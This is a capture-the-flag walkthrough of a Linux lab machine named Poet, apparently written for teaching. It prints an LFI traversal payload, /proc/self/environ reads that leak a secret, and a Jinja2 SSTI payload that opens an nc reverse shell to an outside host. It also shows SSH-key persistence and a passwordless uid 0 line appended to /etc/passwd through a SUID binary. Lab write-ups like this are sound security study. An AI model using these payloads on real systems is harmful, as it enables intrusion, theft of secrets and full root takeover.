Overview
Poet is a Linux machine centred on a small Flask “Note Library” web application. Enumeration of the download endpoint reveals an unsanitised note parameter that is vulnerable to Local File Inclusion (LFI). Using the LFI against /proc/self/ we leak the application’s SECRET environment variable and pull its source code, which shows the /admin panel trusts an auth cookie whose value is that same SECRET. Forging the cookie grants admin access, where a Jinja2 Server-Side Template Injection (SSTI) gives us remote code execution and a reverse shell as the william user. For privilege escalation, a custom SUID binary (poet-fetch) can write files to arbitrary paths as root. We abuse it to append a uid 0 user to /etc/passwd and switch to a root shell.
Enumeration
Nmap Scan
We began with a full port scan. The default (top-ports) scan only showed port 22 open, so a full scan across all 65,535 ports was needed to get the complete picture.
Full Port Scan
Poet ➜ nmap -p- 10.0.204.51

Nmap Full Port Scan
Service Scan
With the open ports identified, we ran a service and default-script scan to fingerprint what was running on each.
Poet ➜ nmap -sV -sC -p 22,6767 10.0.204.51

Nmap Service Scan
The scan leaves us with two services to work with: standard OpenSSH on 22, and a Werkzeug/Flask development server on 6767 serving an application titled Note Library.
| Port | Protocol | Service | Version | Notes |
|---|---|---|---|---|
| 22 | TCP | SSH | OpenSSH 9.6p1 (Ubuntu) | Standard login; no immediate foothold |
| 6767 | TCP | HTTP | Werkzeug httpd 3.1.4 (Python 3.12.3) | “Note Library” Flask app — main attack surface |
Open ports and services found by the Nmap scan
Web Application
Directory Brute-Force (Feroxbuster)
We used feroxbuster to brute-force directories and files on the web application, surfacing endpoints that are not linked anywhere in the UI.
Poet ➜ feroxbuster -u http://10.0.51.216:6767/ -w /opt/Tools/SecLists/Discovery/Web-Content/raft-medium-directories.txt

Feroxbuster Output
Three endpoints stand out:
- /admin
- /download
- /view
Inspecting the Download Functionality
Capturing a download request in Burp Suite shows the /download endpoint takes a single note parameter containing the filename to return.

Name Parameter
To test whether the parameter is sanitised, we swapped the filename for a classic directory-traversal / Local File Inclusion (LFI) payload.
Payload
note=../../../etc/passwd

Successfully Returned /etc/passwd
The server returns the contents of /etc/passwd, confirming the endpoint is vulnerable to LFI.
LFI Enumeration
Direct SSH key theft wasn’t possible (no readable keys at the usual paths), so we pivoted to enumerating the running process through /proc/self/. The payloads below are drawn from this Linux file-inclusion wordlist.
/proc/self/cmdline
cmdline exposes the arguments the process was started with, which helps confirm how the application is being run.
Payload
note=../../../proc/self/cmdline
/proc/self/environ
environ exposes the process’s initial environment variables like, secrets.
Payload
note=../../../proc/self/environ

SECRET environment variable leaked
Among the environment variables is one that immediately stands out SECRET. We note it down for later.
SECRET=fds43vxnvqeqpplo88761321sdcdsa21
/proc/self/cwd
cwd is a symbolic link to the process’s current working directory. Combining it with a filename lets us read files relative to where the app runs. After brute-forcing the application filename, app.py resolved, so we can pull the source code directly.
note=../../../proc/self/cwd/app.py

Application Source Code Dumped
Source Code Review
Snippet — some sections trimmed for brevity.
Reviewing app.py highlights two key facts:
- The app reads its secret from the
SECRETenvironment variable — which we already have. - The /admin route is gated by a cookie named
auth, and it grants access only when that cookie’s value equalsSECRET.
from flask import Flask, request, render_template_string, send_file, abort, make_response
import os
app = Flask(__name__)
NOTES_DIR = "./notes"
SECRET = os.getenv("SECRET")
if not SECRET:
raise Exception("SECRET environment variable not set!")
<SNIP>
@app.route("/download", methods=["POST"])
def download_note():
note = request.form.get("note")
if not note:
return "<h1>Invalid request: no note specified</h1>", 400
path = os.path.join(NOTES_DIR, note)
if not os.path.isfile(path):
return "<h1>File not found</h1>", 404
try:
return send_file(path, as_attachment=True)
except Exception as e:
return f"<h1>Error downloading file:</h1><pre>{e}</pre>", 500
@app.route("/admin", methods=["GET", "POST"])
def admin():
cookie = request.cookies.get("auth")
if cookie != SECRET:
return "<h1>Access Denied</h1>", 403
message = ""
if request.method == "POST":
note_name = request.form.get("note_name")
note_content = request.form.get("note_content")
if not note_name or not note_content:
message = "Both name and content are required!"
else:
safe_name = note_name.replace("/", "_")
path = os.path.join(NOTES_DIR, safe_name)
try:
with open(path, "w") as f:
f.write(note_content)
message = f"✅ Note '{safe_name}' saved!"
except Exception as e:
message = f"❌ Error saving note: {e}"
<SNIP>
if __name__ == "__main__":
app.run(host="0.0.0.0", port=6767)
Gaining Admin Access
Because /admin only checks that the auth cookie equals SECRET, we simply set a cookie of auth=fds43vxnvqeqpplo88761321sdcdsa21 and reload the page.

Admin Access
The forged cookie is accepted and we land in the admin panel.
Server-Side Template Injection (SSTI)
The admin panel renders user-supplied note content back into the page. The render_template_string import spotted in the source is a strong hint that notes are passed through Jinja2, so this is a prime candidate for Server-Side Template Injection.
Validating the Injection
To confirm Jinja2 is in play, we submitted a simple template directive (payload from HackTricks).
{% debug %}

Insert debug Statement
Opening the saved note triggers the template engine.

Post
The {% debug %} output a full dump of the available context and filters this confirms the content is evaluated by Jinja2, so we have working SSTI.

Displayed Config (Debug)
Exploitation
Gaining a Foothold
With SSTI confirmed, we escalate from template evaluation to code execution. The payload below walks the Python object chain to reach os, then calls popen to spawn a reverse shell back to our listener.
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.66.0.33 4444 >/tmp/f").read() %}{{ a }}{% endwith %}

Reverse-shell SSTI Payload
Opening the note executes the payload and our listener catches a shell as william.

Reverse Shell Established
Stabilising the Shell
A cronjob periodically wipes the notes directory, which kills the reverse shell. To get stable, persistent access we add our own SSH key to william’s account and log in over SSH instead.
Attacker machine -> generate a key pair
# Generate Keys
Poet ➜ ssh-keygen -t ed25519 -f ~/.ssh/poet_ed25519 -N ""
Target machine -> authorise our public key
william@poet:/opt/poetapp$ mkdir -p ~/.ssh && chmod 700 ~/.ssh
william@poet:/opt/poetapp$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHKvI7p+BcqUBIWri4L5EufT7/Ofp6+uB7Xanjd/ozvu n0xshell@parrot' >> ~/.ssh/authorized_keys
william@poet:/opt/poetapp$ chmod 600 ~/.ssh/authorized_keys

SSH Login As William
Post-Enumeration
With a solid foothold, we ran lse.sh (Linux Smart Enumeration) to look for privilege-escalation paths. It flagged an uncommon custom binary on the system.

Discovered Uncommon Binary
Reviewing Binary
SUID Bit Enabled
The binary, /usr/local/bin/poet-fetch, has its SUID bit set meaning it executes with the privileges of its owner (root) regardless of who runs it.

SUID Enabled
Help Output
The binary ships a help function, which makes understanding its intended behaviour straightforward.
william@poet:/tmp$ /usr/local/bin/poet-fetch --help

Read Help
In short, poet-fetch downloads a remote file and writes it to a destination path and because it runs as root (SUID), it can write anywhere we tell it to.
Post-Exploitation
Attempt 1: Writing an SSH Key to root (Failed)
Our first idea was to append our SSH public key to /root/.ssh/authorized_keys and log in as root over SSH.
However, the binary has a safeguard that blocks any write into the /root directory, so this path is a dead end.

Failed Attempt
Attempt 2: Appending a Root User to /etc/passwd
Since we can still write to /etc/passwd, we add a brand-new entry with UID 0, which grants that account root privileges. The binary’s new poem: prefix forces an append rather than an overwrite, so we don’t clobber the existing file.
Normally the password field would be an x, pointing to a hash in /etc/shadow. Here we deliberately leave it empty to create a password-less root account simpler to use.
Poet ➜ cat n0xshell.passwd
new poem:
n0x::0:0::/tmp:/bin/bash
We host the file on our attacker machine and have poet-fetch pull it into /etc/passwd.
william@poet:/tmp$ /usr/local/bin/poet-fetch http://10.66.0.33:8000/n0xshell.passwd /etc/passwd

Successfully Added User
Gaining Root Access
With the n0x account (UID 0, no password) now in /etc/passwd, we simply switch to it.

Root Access
Now we successfully gained root level access to the target system.

